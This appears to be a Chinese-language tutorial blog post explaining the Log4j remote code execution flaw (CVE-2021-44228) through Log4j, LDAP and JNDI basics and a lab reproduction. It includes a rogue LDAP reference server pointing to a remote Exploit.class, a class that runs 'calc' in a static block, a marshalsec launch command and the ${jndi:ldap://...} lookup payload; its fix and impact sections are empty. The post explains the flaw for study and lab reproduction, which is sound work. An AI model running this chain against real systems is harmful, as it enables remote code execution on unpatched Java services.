Log4j RCE (CVE-2021-44228)

  • CVE-2021-44228 远程代码执行 --> 2.15.0 修复
  • CVE-2021-45046 拒绝服务漏洞 --> 2.16.0 修复
  • CVE-2021-45105 拒绝服务漏洞 --> 2.17.0 修复
  • CVE-2021-44832 远程代码执行 --> 2.17.1 修复

Log4j 介绍与漏洞影响

Log4j 是 log for java 的简写,是 Apache 的开源日志记录组件。

Log4j 的使用方式非常简单:

  1. pox.xml 中引入 log4j 依赖

    <!--	log4j	-->
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.14.1</version>
    </dependency>
    
  2. 获得 logger 实例

    private static final Logger logger = LogManager.getLogger(Log4JTest.class);
    
  3. 使用 logger 实例记录日志

    logger.info("hello log4j");
    logger.warn("warning ... ");
    logger.debug("debugging ...");
    logger.error("${java:runtime} - ${java:vm} - ${java:os");
    
  4. log4j 配置文件,默认加载 resource/log4j2.xml(待补充)

    <?xml version="1.0" encoding="UTF-8"?>
    <Configuration status="OFF" monitorInterval="30">
        <appenders>
            <console name="CONSOLE" target="SYSTEM_OUT">
                <PatternLayout pattern="%msg{lookups}%n"/>
            </console>
        </appenders>
        <Loggers>
            <Root level="error">
                <AppenderRef ref="CONSOLE"/>
            </Root>
        </Loggers>
    </Configuration>
    
    

什么是 LDAP

LDAP 实现统一登录

统一登录就是建立一个能够服务于所有应用系统的统一的身份认证系统,每个应用系统都通过该认证系统来进行用户的身份认证,而不用再单独开发各自的用户认证模块。

  1. pox.xml 中引入 ldap服务端依赖

    <!--    ldap    -->
    <dependency>
        <groupId>com.unboundid</groupId>
        <artifactId>unboundid-ldapsdk</artifactId>
        <version>6.0.3</version>
    </dependency>
    
  2. 创建 LDAP 服务端

    package com.example.demo.ldap;
    
    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import java.net.InetAddress;
    
    /**
    * LDAP 服务端
    */
    public class LDAPSeriServer {
        public static final String LDAP_BASE = "dc=example, dc=com";
    
        public static void main(String[] args) {
            int port = 7389;    // ldap 默认端口 389
            try {
                InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
                config.setListenerConfigs(new InMemoryListenerConfig(
                        "listen",
                        InetAddress.getByName("0.0.0.0"),
                        port,
                        ServerSocketFactory.getDefault(),
                        SocketFactory.getDefault(),
                        (SSLSocketFactory) SSLSocketFactory.getDefault()
                ));
                config.setSchema(null);
                config.setEnforceAttributeSyntaxCompliance(false);
                config.setEnforceSingleStructuralObjectClass(false);
                InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
    
                // 添加三条数据到 LDAP 目录服务器
                ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectClass: domain");
                ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
                ds.add("dn: " + "uid=xxxx,ou=employees,dc=example,dc=com", "objectClass: exportObject");
    
                System.out.println("Listening on 0.0.0.0: " + port);
                ds.startListening();
            }catch (Exception e){
    
            }
        }
    }
    
    
  3. 创建 LDAP 客户端

    package com.example.demo.ldap;
    
    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.naming.NamingException;
    
    public class LDAPClient {
        public static void main(String[] args) throws NamingException {
            Context ct = new InitialContext();
            // lookup 方法在 LDAP 目录数据库中查找一条数据
            Object lookup = ct.lookup("ldap://127.0.0.1:7389/uid=xxxx,ou=employees,dc=example,dc=com");
            System.out.println(lookup);
        }
    }
    

什么是 JNDI

JNDI 的使用

  1. 发布服务(名字和资源的映射关系)

  2. 创建 JNDI 客户端查找资源

JNDI 与 LDAP 的关系

${jndi:ldap://example.com:1234/test}

通过名字(jndi,查找(lookup) LDAP 的服务(ldap://example.com:1234,获取 LDAP 中存储的资源(/test

通过 JNDI 查找 LDAP 服务实例

  1. 启动 LDAP 服务服务端(还使用上步中端口为 7389 的服务端)

  2. 创建 JNDI 客户端

    package com.example.demo.jndi;
    
    import javax.naming.Context;
    import javax.naming.NamingEnumeration;
    import javax.naming.NamingException;
    import javax.naming.directory.DirContext;
    import javax.naming.directory.InitialDirContext;
    import javax.naming.directory.SearchControls;
    import javax.naming.directory.SearchResult;
    import java.util.Hashtable;
    
    public class JNDIClient {
        public static void main(String[] args) throws NamingException {
            Hashtable<String, Object> env = new Hashtable<>();
            env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
            env.put(Context.PROVIDER_URL, "ldap://localhost:7389/dc=example,dc=com");
    
            DirContext ctx = new InitialDirContext(env);
            SearchControls searchControls = new SearchControls();
            searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
            searchControls.setCountLimit(10);
            NamingEnumeration<SearchResult> namingEnumeration = ctx.search("", "(uid=*)", new Object[]{}, searchControls);
            // 通过名称查找远程对象,假设远程服务器已经将一个远程对象绑定了
            ctx.lookup("ldap://localhost:7389/ou=employees,dc=example,dc=com");
            while (namingEnumeration.hasMore()){
                SearchResult sr = namingEnumeration.next();
                System.out.println("DN: " + sr.getName());
                System.out.println(sr.getAttributes().get("uid"));
            }
            ctx.close();
    
        }
    }
    
  3. 运行,查看访问结果

    DN: uid=xxxx,ou=employees
    uid: xxxx
    

什么是 JNDI 注入?

JNDI Naming Reference

  1. 在 LDAP 里面可以存储一个外部资源,叫做命名引用,对应 Reference 类。(比如: 远程 HTTP 服务的一个 Exploit.class 文件)

    package com.example.demo.ldap;
    
    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPException;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;
    
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import javax.swing.text.html.parser.Entity;
    import java.net.InetAddress;
    import java.net.MalformedURLException;
    import java.net.URL;
    
    /**
    * LDAP 服务端
    */
    public class LDAPRefServer {
        public static final String LDAP_BASE = "dc=example, dc=com";
    
        public static final String EXPLOIT_CLASS_URL = "http://192.168.xxx.xxx/#Exploit";   // #Exploit 代替 Exploit.class
    
        public static void main(String[] args) {
            int port = 7389;    // ldap 默认端口 389
            try {
                InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
                config.setListenerConfigs(new InMemoryListenerConfig(
                        "listen",
                        InetAddress.getByName("0.0.0.0"),
                        port,
                        ServerSocketFactory.getDefault(),
                        SocketFactory.getDefault(),
                        (SSLSocketFactory) SSLSocketFactory.getDefault()
                ));
    
                /* 指定 EXPLOIT_CLASS_URL, OperationInterceptor 实现 InMemoryOperationInterceptor 抽象类 */
                config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(EXPLOIT_CLASS_URL)) );
    
                config.setSchema(null);
                config.setEnforceAttributeSyntaxCompliance(false);
                config.setEnforceSingleStructuralObjectClass(false);
                InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
    
                System.out.println("Listening on 0.0.0.0: " + port);
                ds.startListening();
            }catch (Exception e){
    
            }
        }
    
        /**
        * OperationInterceptor 实现 InMemoryOperationInterceptor 抽象类
        */
        private static class OperationInterceptor extends InMemoryOperationInterceptor {
            private URL codebase;
    
            private OperationInterceptor(URL url) {
                this.codebase = url;
            }
    
            @Override
            public void processSearchResult(InMemoryInterceptedSearchResult result) {
                String base = result.getRequest().getBaseDN();
                Entry e = new Entry(base);
                try {
                    sendResult(result, base, e);
                }catch (Exception ex){
    
                }
            }
    
            protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws MalformedURLException, LDAPException {
                URL url = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
                System.out.println("Send LDAP reference result for " + base + " redirecting to " + url);
                e.addAttribute("javaClassName", "Calc");
                String cbString = this.codebase.toString();
                int refPos = cbString.indexOf('#');
                if (refPos > 0){
                    cbString = cbString.substring(0, refPos);
                }
                e.addAttribute("javaCodeBase", cbString);
                e.addAttribute("objectClass", "javaNamingReference");
                e.addAttribute("javaFactory", this.codebase.getRef());
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
    
            }
        }
    }
    
    
  2. 如果 JNDI 客户端,在 LDAP 服务中找不到对应的资源时,就会去指定的地址(如上代码中的EXPLOIT_CLASS_URL)请求。如果是命名引用,就会将这个文件(Exploit.class)下载到本地

  3. 如果下载的 .class 文件包含无参构造函数或静态方法块,加载的时候就会自动执行,从而产生注入漏洞。

    public class Expoit {
        static {
            try {
                Runtime.getRuntime().exec("calc");
            } catch (Exception e) {
    
            }
        }
    }
    

Log4j RCE 漏洞复现

环境准备

  • 基础开发环境
    • JDK 1.8.191 以下
  • 远程代码
    • Exploit.class 恶意文件
    • HTTP 服务器
  • LDAP 服务端
    • 本地启动。同上(需要将远程地址配置在服务端代码中)
    • 远程启动。
      可以借用 marshalsec 在远程服务器启动一个 LDAP 服务(远程地址作为参数配置在命令中)
      java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.xxx.xxx:80/#Exploit 7389
  • LDAP 客户端(Log4j 利用)
    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    
    public class Log4JTest {
        private static final Logger logger = LogManager.getLogger(Log4JTest.class);
    
        public static void main(String[] args) {
            logger.error("${jndi:ldap://127.0.0.1:7389/test}");
        }
    }
    

Log4j RCE 漏洞原理分析

log4j 使用手册中的 Lookups,参考地址: https://logging.apache.org/log4j/2.x/manual/lookups.html

官网描述:

官网描述:

The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a “:” no prefix will be added.

The JNDI Lookup only supports the java protocol or no protocol (as shown in the example below).

影响范围和排查方法

Log4j RCE 漏洞修复

05-01 16:26